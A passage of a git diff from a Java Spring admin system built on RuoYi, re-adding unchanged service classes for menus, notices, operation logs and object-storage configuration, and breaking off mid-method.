.eq(StringUtils.isNotBlank(menu.getVisible()), SysMenu::getVisible, menu.getVisible()) + .eq(StringUtils.isNotBlank(menu.getStatus()), SysMenu::getStatus, menu.getStatus()) + .orderByAsc(SysMenu::getParentId) + .orderByAsc(SysMenu::getOrderNum)); + } else { + QueryWrapper wrapper = Wrappers.query(); + wrapper.inSql("r.role_id", "select role_id from sys_user_role where user_id = " + userId) + .like(StringUtils.isNotBlank(menu.getMenuName()), "m.menu_name", menu.getMenuName()) + .eq(StringUtils.isNotBlank(menu.getVisible()), "m.visible", menu.getVisible()) + .eq(StringUtils.isNotBlank(menu.getStatus()), "m.status", menu.getStatus()) + .orderByAsc("m.parent_id") + .orderByAsc("m.order_num"); + List list = baseMapper.selectMenuListByUserId(wrapper); + menuList = MapstructUtils.convert(list, SysMenuVo.class); + } + return menuList; + } + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + @Override + public Set selectMenuPermsByUserId(Long userId) { + List perms = baseMapper.selectMenuPermsByUserId(userId); + Set permsSet = new HashSet<>(); + for (String perm : perms) { + if (StringUtils.isNotEmpty(perm)) { + permsSet.addAll(StringUtils.splitList(perm.trim())); + } + } + return permsSet; + } + + /** + * 根据角色ID查询权限 + * + * @param roleId 角色ID + * @return 权限列表 + */ + @Override + public Set selectMenuPermsByRoleId(Long roleId) { + List perms = baseMapper.selectMenuPermsByRoleId(roleId); + Set permsSet = new HashSet<>(); + for (String perm : perms) { + if (StringUtils.isNotEmpty(perm)) { + permsSet.addAll(StringUtils.splitList(perm.trim())); + } + } + return permsSet; + } + + /** + * 根据用户ID查询菜单 + * + * @param userId 用户名称 + * @return 菜单列表 + */ + @Override + public List selectMenuTreeByUserId(Long userId) { + List menus; + if (LoginHelper.isSuperAdmin(userId)) { + menus = baseMapper.selectMenuTreeAll(); + } else { + menus = baseMapper.selectMenuTreeByUserId(userId); + } + return getChildPerms(menus, 0); + } + + /** + * 根据角色ID查询菜单树信息 + * + * @param roleId 角色ID + * @return 选中菜单列表 + */ + @Override + public List selectMenuListByRoleId(Long roleId) { + SysRole role = roleMapper.selectById(roleId); + return baseMapper.selectMenuListByRoleId(roleId, role.getMenuCheckStrictly()); + } + + /** + * 根据租户套餐ID查询菜单树信息 + * + * @param packageId 租户套餐ID + * @return 选中菜单列表 + */ + @Override + public List selectMenuListByPackageId(Long packageId) { + SysTenantPackage tenantPackage = tenantPackageMapper.selectById(packageId); + List menuIds = StringUtils.splitTo(tenantPackage.getMenuIds(), Convert::toLong); + if (CollUtil.isEmpty(menuIds)) { + return List.of(); + } + List parentIds = null; + if (tenantPackage.getMenuCheckStrictly()) { + parentIds = baseMapper.selectObjs(new LambdaQueryWrapper() + .select(SysMenu::getParentId) + .in(SysMenu::getMenuId, menuIds), x -> {return Convert.toLong(x);}); + } + return baseMapper.selectObjs(new LambdaQueryWrapper() + .in(SysMenu::getMenuId, menuIds) + .notIn(CollUtil.isNotEmpty(parentIds), SysMenu::getMenuId, parentIds), x -> {return Convert.toLong(x);}); + } + + /** + * 构建前端路由所需要的菜单 + * 路由name命名规则 path首字母转大写 + id + * + * @param menus 菜单列表 + * @return 路由列表 + */ + @Override + public List buildMenus(List menus) { + List routers = new LinkedList<>(); + for (SysMenu menu : menus) { + String name = menu.getRouteName() + menu.getMenuId(); + RouterVo router = new RouterVo(); + router.setHidden("1".equals(menu.getVisible())); + router.setName(name); + router.setPath(menu.getRouterPath()); + router.setComponent(menu.getComponentInfo()); + router.setQuery(menu.getQueryParam()); + router.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), StringUtils.equals("1", menu.getIsCache()), menu.getPath())); + List cMenus = menu.getChildren(); + if (CollUtil.isNotEmpty(cMenus) && SystemConstants.TYPE_DIR.equals(menu.getMenuType())) { + router.setAlwaysShow(true); + router.setRedirect("noRedirect"); + router.setChildren(buildMenus(cMenus)); + } else if (menu.isMenuFrame()) { + String frameName = StringUtils.capitalize(menu.getPath()) + menu.getMenuId(); + router.setMeta(null); + List childrenList = new ArrayList<>(); + RouterVo children = new RouterVo(); + children.setPath(menu.getPath()); + children.setComponent(menu.getComponent()); + children.setName(frameName); + children.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), StringUtils.equals("1", menu.getIsCache()), menu.getPath())); + children.setQuery(menu.getQueryParam()); + childrenList.add(children); + router.setChildren(childrenList); + } else if (menu.getParentId().intValue() == 0 && menu.isInnerLink()) { + router.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon())); + router.setPath("/"); + List childrenList = new ArrayList<>(); + RouterVo children = new RouterVo(); + String routerPath = SysMenu.innerLinkReplaceEach(menu.getPath()); + String innerLinkName = StringUtils.capitalize(routerPath) + menu.getMenuId(); + children.setPath(routerPath); + children.setComponent(SystemConstants.INNER_LINK); + children.setName(innerLinkName); + children.setMeta(new MetaVo(menu.getMenuName(), menu.getIcon(), menu.getPath())); + childrenList.add(children); + router.setChildren(childrenList); + } + routers.add(router); + } + return routers; + } + + /** + * 构建前端所需要下拉树结构 + * + * @param menus 菜单列表 + * @return 下拉树结构列表 + */ + @Override + public List> buildMenuTreeSelect(List menus) { + if (CollUtil.isEmpty(menus)) { + return CollUtil.newArrayList(); + } + return TreeBuildUtils.build(menus, (menu, tree) -> + tree.setId(menu.getMenuId()) + .setParentId(menu.getParentId()) + .setName(menu.getMenuName()) + .setWeight(menu.getOrderNum())); + } + + /** + * 根据菜单ID查询信息 + * + * @param menuId 菜单ID + * @return 菜单信息 + */ + @Override + public SysMenuVo selectMenuById(Long menuId) { + return baseMapper.selectVoById(menuId); + } + + /** + * 是否存在菜单子节点 + * + * @param menuId 菜单ID + * @return 结果 + */ + @Override + public boolean hasChildByMenuId(Long menuId) { + return baseMapper.exists(new LambdaQueryWrapper().eq(SysMenu::getParentId, menuId)); + } + + /** + * 查询菜单使用数量 + * + * @param menuId 菜单ID + * @return 结果 + */ + @Override + public boolean checkMenuExistRole(Long menuId) { + return roleMenuMapper.exists(new LambdaQueryWrapper().eq(SysRoleMenu::getMenuId, menuId)); + } + + /** + * 新增保存菜单信息 + * + * @param bo 菜单信息 + * @return 结果 + */ + @Override + public int insertMenu(SysMenuBo bo) { + SysMenu menu = MapstructUtils.convert(bo, SysMenu.class); + return baseMapper.insert(menu); + } + + /** + * 修改保存菜单信息 + * + * @param bo 菜单信息 + * @return 结果 + */ + @Override + public int updateMenu(SysMenuBo bo) { + SysMenu menu = MapstructUtils.convert(bo, SysMenu.class); + return baseMapper.updateById(menu); + } + + /** + * 删除菜单管理信息 + * + * @param menuId 菜单ID + * @return 结果 + */ + @Override + public int deleteMenuById(Long menuId) { + return baseMapper.deleteById(menuId); + } + + /** + * 校验菜单名称是否唯一 + * + * @param menu 菜单信息 + * @return 结果 + */ + @Override + public boolean checkMenuNameUnique(SysMenuBo menu) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper() + .eq(SysMenu::getMenuName, menu.getMenuName()) + .eq(SysMenu::getParentId, menu.getParentId()) + .ne(ObjectUtil.isNotNull(menu.getMenuId()), SysMenu::getMenuId, menu.getMenuId())); + return !exist; + } + + /** + * 根据父节点的ID获取所有子节点 + * + * @param list 分类表 + * @param parentId 传入的父节点ID + * @return String + */ + private List getChildPerms(List list, int parentId) { + List returnList = new ArrayList<>(); + for (SysMenu t : list) { + // 一、根据传入的某个父节点ID,遍历该父节点的所有子节点 + if (t.getParentId() == parentId) { + recursionFn(list, t); + returnList.add(t); + } + } + return returnList; + } + + /** + * 递归列表 + */ + private void recursionFn(List list, SysMenu t) { + // 得到子节点列表 + List childList = StreamUtils.filter(list, n -> n.getParentId().equals(t.getMenuId())); + t.setChildren(childList); + for (SysMenu tChild : childList) { + // 判断是否有子节点 + if (list.stream().anyMatch(n -> n.getParentId().equals(tChild.getMenuId()))) { + recursionFn(list, tChild); + } + } + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysNoticeServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysNoticeServiceImpl.java index 3ff87bd..7cf8b5b 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysNoticeServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysNoticeServiceImpl.java @@ -1,124 +1,124 @@ -package org.dromara.system.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.ObjectUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.SysNotice; -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.bo.SysNoticeBo; -import org.dromara.system.domain.vo.SysNoticeVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.mapper.SysNoticeMapper; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.system.service.ISysNoticeService; -import org.springframework.stereotype.Service; - -import java.util.Arrays; -import java.util.List; - -/** - * 公告 服务层实现 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service -public class SysNoticeServiceImpl implements ISysNoticeService { - - private final SysNoticeMapper baseMapper; - private final SysUserMapper userMapper; - - @Override - public TableDataInfo selectPageNoticeList(SysNoticeBo notice, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(notice); - Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(page); - } - - /** - * 查询公告信息 - * - * @param noticeId 公告ID - * @return 公告信息 - */ - @Override - public SysNoticeVo selectNoticeById(Long noticeId) { - return baseMapper.selectVoById(noticeId); - } - - /** - * 查询公告列表 - * - * @param notice 公告信息 - * @return 公告集合 - */ - @Override - public List selectNoticeList(SysNoticeBo notice) { - LambdaQueryWrapper lqw = buildQueryWrapper(notice); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(SysNoticeBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.like(StringUtils.isNotBlank(bo.getNoticeTitle()), SysNotice::getNoticeTitle, bo.getNoticeTitle()); - lqw.eq(StringUtils.isNotBlank(bo.getNoticeType()), SysNotice::getNoticeType, bo.getNoticeType()); - if (StringUtils.isNotBlank(bo.getCreateByName())) { - SysUserVo sysUser = userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getUserName, bo.getCreateByName())); - lqw.eq(SysNotice::getCreateBy, ObjectUtils.notNullGetter(sysUser, SysUserVo::getUserId)); - } - lqw.orderByAsc(SysNotice::getNoticeId); - return lqw; - } - - /** - * 新增公告 - * - * @param bo 公告信息 - * @return 结果 - */ - @Override - public int insertNotice(SysNoticeBo bo) { - SysNotice notice = MapstructUtils.convert(bo, SysNotice.class); - return baseMapper.insert(notice); - } - - /** - * 修改公告 - * - * @param bo 公告信息 - * @return 结果 - */ - @Override - public int updateNotice(SysNoticeBo bo) { - SysNotice notice = MapstructUtils.convert(bo, SysNotice.class); - return baseMapper.updateById(notice); - } - - /** - * 删除公告对象 - * - * @param noticeId 公告ID - * @return 结果 - */ - @Override - public int deleteNoticeById(Long noticeId) { - return baseMapper.deleteById(noticeId); - } - - /** - * 批量删除公告信息 - * - * @param noticeIds 需要删除的公告ID - * @return 结果 - */ - @Override - public int deleteNoticeByIds(Long[] noticeIds) { - return baseMapper.deleteByIds(Arrays.asList(noticeIds)); - } -} +package org.dromara.system.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.ObjectUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.SysNotice; +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.bo.SysNoticeBo; +import org.dromara.system.domain.vo.SysNoticeVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.mapper.SysNoticeMapper; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.system.service.ISysNoticeService; +import org.springframework.stereotype.Service; + +import java.util.Arrays; +import java.util.List; + +/** + * 公告 服务层实现 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service +public class SysNoticeServiceImpl implements ISysNoticeService { + + private final SysNoticeMapper baseMapper; + private final SysUserMapper userMapper; + + @Override + public TableDataInfo selectPageNoticeList(SysNoticeBo notice, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(notice); + Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(page); + } + + /** + * 查询公告信息 + * + * @param noticeId 公告ID + * @return 公告信息 + */ + @Override + public SysNoticeVo selectNoticeById(Long noticeId) { + return baseMapper.selectVoById(noticeId); + } + + /** + * 查询公告列表 + * + * @param notice 公告信息 + * @return 公告集合 + */ + @Override + public List selectNoticeList(SysNoticeBo notice) { + LambdaQueryWrapper lqw = buildQueryWrapper(notice); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(SysNoticeBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.like(StringUtils.isNotBlank(bo.getNoticeTitle()), SysNotice::getNoticeTitle, bo.getNoticeTitle()); + lqw.eq(StringUtils.isNotBlank(bo.getNoticeType()), SysNotice::getNoticeType, bo.getNoticeType()); + if (StringUtils.isNotBlank(bo.getCreateByName())) { + SysUserVo sysUser = userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getUserName, bo.getCreateByName())); + lqw.eq(SysNotice::getCreateBy, ObjectUtils.notNullGetter(sysUser, SysUserVo::getUserId)); + } + lqw.orderByAsc(SysNotice::getNoticeId); + return lqw; + } + + /** + * 新增公告 + * + * @param bo 公告信息 + * @return 结果 + */ + @Override + public int insertNotice(SysNoticeBo bo) { + SysNotice notice = MapstructUtils.convert(bo, SysNotice.class); + return baseMapper.insert(notice); + } + + /** + * 修改公告 + * + * @param bo 公告信息 + * @return 结果 + */ + @Override + public int updateNotice(SysNoticeBo bo) { + SysNotice notice = MapstructUtils.convert(bo, SysNotice.class); + return baseMapper.updateById(notice); + } + + /** + * 删除公告对象 + * + * @param noticeId 公告ID + * @return 结果 + */ + @Override + public int deleteNoticeById(Long noticeId) { + return baseMapper.deleteById(noticeId); + } + + /** + * 批量删除公告信息 + * + * @param noticeIds 需要删除的公告ID + * @return 结果 + */ + @Override + public int deleteNoticeByIds(Long[] noticeIds) { + return baseMapper.deleteByIds(Arrays.asList(noticeIds)); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOperLogServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOperLogServiceImpl.java index 69c5a04..7ee8647 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOperLogServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOperLogServiceImpl.java @@ -1,166 +1,166 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.util.ArrayUtil; -import cn.hutool.json.JSONObject; -import cn.hutool.json.JSONUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.core.utils.ip.AddressUtils; -import org.dromara.common.log.event.OperLogEvent; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.system.domain.SysOperLog; -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.bo.SysOperLogBo; -import org.dromara.system.domain.vo.SysOperLogVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.mapper.SysOperLogMapper; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.system.service.ISysOperLogService; -import org.springframework.context.event.EventListener; -import org.springframework.scheduling.annotation.Async; -import org.springframework.stereotype.Service; - -import java.util.Arrays; -import java.util.Date; -import java.util.List; -import java.util.Map; - -/** - * 操作日志 服务层处理 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service -public class SysOperLogServiceImpl implements ISysOperLogService { - - private final SysOperLogMapper baseMapper; - - private final SysUserMapper userMapper; - - /** - * 操作日志记录 - * - * @param operLogEvent 操作日志事件 - */ - @Async - @EventListener - public void recordOper(OperLogEvent operLogEvent) { - SysOperLogBo operLog = MapstructUtils.convert(operLogEvent, SysOperLogBo.class); - if(!operLog.getOperUrl().contains("/work/receipt/export")){ - boolean contains = operLog.getOperUrl().contains("/work/receipt"); - if (contains){ - if("/work/receipt/claim".equals(operLog.getOperUrl()) || "/work/receipt/back".equals(operLog.getOperUrl())){ - JSONObject jsonObject = JSONUtil.parseObj(operLog.getOperParam()); - String id = jsonObject.get("id").toString(); - operLog.setQid(Long.parseLong(id)); - }else { - String result = operLog.getOperParam(); - String id = result.replace("[", "").replace("]", ""); - if(StringUtils.isNotBlank(id)){ - operLog.setQid(Long.parseLong(id)); - } - } - } - } - - SysUser sysUser = userMapper.selectOne(new LambdaQueryWrapper().select(SysUser::getNickName).eq(SysUser::getUserName, operLog.getOperName())); - operLog.setOperName(sysUser.getNickName()); - // 远程查询操作地点 - operLog.setOperLocation(AddressUtils.getRealAddressByIP(operLog.getOperIp())); - insertOperlog(operLog); - } - - @Override - public TableDataInfo selectPageOperLogList(SysOperLogBo operLog, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(operLog); - if (StringUtils.isBlank(pageQuery.getOrderByColumn())) { - pageQuery.setOrderByColumn("oper_id"); - pageQuery.setIsAsc("desc"); - } - Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(page); - } - - private LambdaQueryWrapper buildQueryWrapper(SysOperLogBo operLog) { - Map params = operLog.getParams(); - return new LambdaQueryWrapper() - .like(StringUtils.isNotBlank(operLog.getOperIp()), SysOperLog::getOperIp, operLog.getOperIp()) - .eq(operLog.getQid() != null, SysOperLog::getQid, operLog.getQid()) - .like(StringUtils.isNotBlank(operLog.getOperParam()), SysOperLog::getOperParam, operLog.getOperParam()) - .like(StringUtils.isNotBlank(operLog.getOperUrl()), SysOperLog::getOperUrl, operLog.getOperUrl()) - .like(StringUtils.isNotBlank(operLog.getTitle()), SysOperLog::getTitle, operLog.getTitle()) - .eq(operLog.getBusinessType() != null && operLog.getBusinessType() > 0, - SysOperLog::getBusinessType, operLog.getBusinessType()) - .func(f -> { - if (ArrayUtil.isNotEmpty(operLog.getBusinessTypes())) { - f.in(SysOperLog::getBusinessType, Arrays.asList(operLog.getBusinessTypes())); - } - }) - .eq(operLog.getStatus() != null, - SysOperLog::getStatus, operLog.getStatus()) - .like(StringUtils.isNotBlank(operLog.getOperName()), SysOperLog::getOperName, operLog.getOperName()) - .between(params.get("beginTime") != null && params.get("endTime") != null, - SysOperLog::getOperTime, params.get("beginTime"), params.get("endTime")); - } - - /** - * 新增操作日志 - * - * @param bo 操作日志对象 - */ - @Override - public void insertOperlog(SysOperLogBo bo) { - SysOperLog operLog = MapstructUtils.convert(bo, SysOperLog.class); - operLog.setOperTime(new Date()); - baseMapper.insert(operLog); - } - - /** - * 查询系统操作日志集合 - * - * @param operLog 操作日志对象 - * @return 操作日志集合 - */ - @Override - public List selectOperLogList(SysOperLogBo operLog) { - LambdaQueryWrapper lqw = buildQueryWrapper(operLog); - return baseMapper.selectVoList(lqw.orderByDesc(SysOperLog::getOperId)); - } - - /** - * 批量删除系统操作日志 - * - * @param operIds 需要删除的操作日志ID - * @return 结果 - */ - @Override - public int deleteOperLogByIds(Long[] operIds) { - return baseMapper.deleteByIds(Arrays.asList(operIds)); - } - - /** - * 查询操作日志详细 - * - * @param operId 操作ID - * @return 操作日志对象 - */ - @Override - public SysOperLogVo selectOperLogById(Long operId) { - return baseMapper.selectVoById(operId); - } - - /** - * 清空操作日志 - */ - @Override - public void cleanOperLog() { - baseMapper.delete(new LambdaQueryWrapper<>()); - } -} +package org.dromara.system.service.impl; + +import cn.hutool.core.util.ArrayUtil; +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.core.utils.ip.AddressUtils; +import org.dromara.common.log.event.OperLogEvent; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.system.domain.SysOperLog; +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.bo.SysOperLogBo; +import org.dromara.system.domain.vo.SysOperLogVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.mapper.SysOperLogMapper; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.system.service.ISysOperLogService; +import org.springframework.context.event.EventListener; +import org.springframework.scheduling.annotation.Async; +import org.springframework.stereotype.Service; + +import java.util.Arrays; +import java.util.Date; +import java.util.List; +import java.util.Map; + +/** + * 操作日志 服务层处理 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Service +public class SysOperLogServiceImpl implements ISysOperLogService { + + private final SysOperLogMapper baseMapper; + + private final SysUserMapper userMapper; + + /** + * 操作日志记录 + * + * @param operLogEvent 操作日志事件 + */ + @Async + @EventListener + public void recordOper(OperLogEvent operLogEvent) { + SysOperLogBo operLog = MapstructUtils.convert(operLogEvent, SysOperLogBo.class); + if(!operLog.getOperUrl().contains("/work/receipt/export")){ + boolean contains = operLog.getOperUrl().contains("/work/receipt"); + if (contains){ + if("/work/receipt/claim".equals(operLog.getOperUrl()) || "/work/receipt/back".equals(operLog.getOperUrl())){ + JSONObject jsonObject = JSONUtil.parseObj(operLog.getOperParam()); + String id = jsonObject.get("id").toString(); + operLog.setQid(Long.parseLong(id)); + }else { + String result = operLog.getOperParam(); + String id = result.replace("[", "").replace("]", ""); + if(StringUtils.isNotBlank(id)){ + operLog.setQid(Long.parseLong(id)); + } + } + } + } + + SysUser sysUser = userMapper.selectOne(new LambdaQueryWrapper().select(SysUser::getNickName).eq(SysUser::getUserName, operLog.getOperName())); + operLog.setOperName(sysUser.getNickName()); + // 远程查询操作地点 + operLog.setOperLocation(AddressUtils.getRealAddressByIP(operLog.getOperIp())); + insertOperlog(operLog); + } + + @Override + public TableDataInfo selectPageOperLogList(SysOperLogBo operLog, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(operLog); + if (StringUtils.isBlank(pageQuery.getOrderByColumn())) { + pageQuery.setOrderByColumn("oper_id"); + pageQuery.setIsAsc("desc"); + } + Page page = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(page); + } + + private LambdaQueryWrapper buildQueryWrapper(SysOperLogBo operLog) { + Map params = operLog.getParams(); + return new LambdaQueryWrapper() + .like(StringUtils.isNotBlank(operLog.getOperIp()), SysOperLog::getOperIp, operLog.getOperIp()) + .eq(operLog.getQid() != null, SysOperLog::getQid, operLog.getQid()) + .like(StringUtils.isNotBlank(operLog.getOperParam()), SysOperLog::getOperParam, operLog.getOperParam()) + .like(StringUtils.isNotBlank(operLog.getOperUrl()), SysOperLog::getOperUrl, operLog.getOperUrl()) + .like(StringUtils.isNotBlank(operLog.getTitle()), SysOperLog::getTitle, operLog.getTitle()) + .eq(operLog.getBusinessType() != null && operLog.getBusinessType() > 0, + SysOperLog::getBusinessType, operLog.getBusinessType()) + .func(f -> { + if (ArrayUtil.isNotEmpty(operLog.getBusinessTypes())) { + f.in(SysOperLog::getBusinessType, Arrays.asList(operLog.getBusinessTypes())); + } + }) + .eq(operLog.getStatus() != null, + SysOperLog::getStatus, operLog.getStatus()) + .like(StringUtils.isNotBlank(operLog.getOperName()), SysOperLog::getOperName, operLog.getOperName()) + .between(params.get("beginTime") != null && params.get("endTime") != null, + SysOperLog::getOperTime, params.get("beginTime"), params.get("endTime")); + } + + /** + * 新增操作日志 + * + * @param bo 操作日志对象 + */ + @Override + public void insertOperlog(SysOperLogBo bo) { + SysOperLog operLog = MapstructUtils.convert(bo, SysOperLog.class); + operLog.setOperTime(new Date()); + baseMapper.insert(operLog); + } + + /** + * 查询系统操作日志集合 + * + * @param operLog 操作日志对象 + * @return 操作日志集合 + */ + @Override + public List selectOperLogList(SysOperLogBo operLog) { + LambdaQueryWrapper lqw = buildQueryWrapper(operLog); + return baseMapper.selectVoList(lqw.orderByDesc(SysOperLog::getOperId)); + } + + /** + * 批量删除系统操作日志 + * + * @param operIds 需要删除的操作日志ID + * @return 结果 + */ + @Override + public int deleteOperLogByIds(Long[] operIds) { + return baseMapper.deleteByIds(Arrays.asList(operIds)); + } + + /** + * 查询操作日志详细 + * + * @param operId 操作ID + * @return 操作日志对象 + */ + @Override + public SysOperLogVo selectOperLogById(Long operId) { + return baseMapper.selectVoById(operId); + } + + /** + * 清空操作日志 + */ + @Override + public void cleanOperLog() { + baseMapper.delete(new LambdaQueryWrapper<>()); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOssConfigServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOssConfigServiceImpl.java index a67b04e..52861bc 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOssConfigServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysOssConfigServiceImpl.java @@ -1,177 +1,177 @@ -package org.dromara.system.service.impl; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.ObjectUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.oss.constant.OssConstant; -import org.dromara.common.redis.utils.CacheUtils; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.system.domain.SysOssConfig; -import org.dromara.system.domain.bo.SysOssConfigBo; -import org.dromara.system.domain.vo.SysOssConfigVo; -import org.dromara.system.mapper.SysOssConfigMapper; -import org.dromara.system.service.ISysOssConfigService; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Transactional; - -import java.util.Collection; -import java.util.List; - -/** - * 对象存储配置Service业务层处理 - * - * @author Lion Li - * @author 孤舟烟雨 - * @date 2021-08-13 - */ -@Slf4j -@RequiredArgsConstructor -@Service -public class SysOssConfigServiceImpl implements ISysOssConfigService { - - private final SysOssConfigMapper baseMapper; - - /** - * 项目启动时,初始化参数到缓存,加载配置类 - */ - @Override - public void init() { - List list = baseMapper.selectList(); - // 加载OSS初始化配置 - for (SysOssConfig config : list) { - String configKey = config.getConfigKey(); - if ("0".equals(config.getStatus())) { - RedisUtils.setCacheObject(OssConstant.DEFAULT_CONFIG_KEY, configKey); - } - CacheUtils.put(CacheNames.SYS_OSS_CONFIG, config.getConfigKey(), JsonUtils.toJsonString(config)); - } - } - - @Override - public SysOssConfigVo queryById(Long ossConfigId) { - return baseMapper.selectVoById(ossConfigId); - } - - @Override - public TableDataInfo queryPageList(SysOssConfigBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - - private LambdaQueryWrapper buildQueryWrapper(SysOssConfigBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(StringUtils.isNotBlank(bo.getConfigKey()), SysOssConfig::getConfigKey, bo.getConfigKey()); - lqw.like(StringUtils.isNotBlank(bo.getBucketName()), SysOssConfig::getBucketName, bo.getBucketName()); - lqw.eq(StringUtils.isNotBlank(bo.getStatus()), SysOssConfig::getStatus, bo.getStatus()); - lqw.orderByAsc(SysOssConfig::getOssConfigId); - return lqw; - } - - @Override - public Boolean insertByBo(SysOssConfigBo bo) { - SysOssConfig config = MapstructUtils.convert(bo, SysOssConfig.class); - validEntityBeforeSave(config); - boolean flag = baseMapper.insert(config) > 0; - if (flag) { - // 从数据库查询完整的数据做缓存 - config = baseMapper.selectById(config.getOssConfigId()); - CacheUtils.put(CacheNames.SYS_OSS_CONFIG, config.getConfigKey(), JsonUtils.toJsonString(config)); - } - return flag; - } - - @Override - public Boolean updateByBo(SysOssConfigBo 